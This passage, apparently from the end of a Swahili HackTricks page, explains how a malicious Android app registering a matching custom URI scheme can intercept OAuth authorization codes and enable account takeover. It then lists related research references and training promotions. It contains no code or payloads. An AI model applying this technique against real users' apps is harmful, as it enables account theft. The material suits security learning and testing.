Katika utekelezaji wa OAuth kwenye mobile, apps hutumia custom URI schemes kupokea redirects zenye Authorization Codes. Hata hivyo, kwa sababu apps nyingi zinaweza kusajili scheme moja kwa kifaa, wazo kwamba client halali tu ndiye anayeendesha redirect URI huvunjika. Kwa mfano kwenye Android, Intent URI kama com.example.app:// oauth inakamuliwa kulingana na scheme na filters za hiari zilizofafanuliwa katika intent-filter ya app. Kwa kuwa intent resolution ya Android inaweza kuwa pana—hasa ikiwa scheme pekee imeainishwa—mdhulumu anaweza kusajili app ya hatari yenye intent filter iliyoundwa kwa ustadi ili kumnyang’anya authorization code. Hii inaweza kuwezesha account takeover ama kupitia mwingiliano wa mtumiaji (wakati apps nyingi zinafaa kushughulikia intent) au kwa mbinu za bypass zinazotumia filters zilizopangwa kupita kiasi, kama ilivyoelezwa kwenye Ostorlab’s assessment flowchart.
References
- Leaking FXAuth token via allowlisted Meta domains
- https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
- https://portswigger.net/research/hidden-oauth-attack-vectors
- https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
- An Offensive Guide to the OAuth 2.0 Authorization Code Grant
- OAuth Discovery as an RCE Vector (Amla Labs)
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
- Rapid7: CVE-2026-31381, CVE-2026-31382: Gainsight Assist Information Disclosure and Cross-Site Scripting (FIXED)
- MDN: Window
pagerevealevent
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).
Support HackTricks
- Angalia subscription plans!
- Jiunge na 💬 Discord group, telegram group, fuata @hacktricks_live kwenye X/Twitter, au angalia LinkedIn page na YouTube channel.
- Shiriki hacking tricks kwa kutuma PRs kwenye HackTricks na HackTricks Cloud github repos.


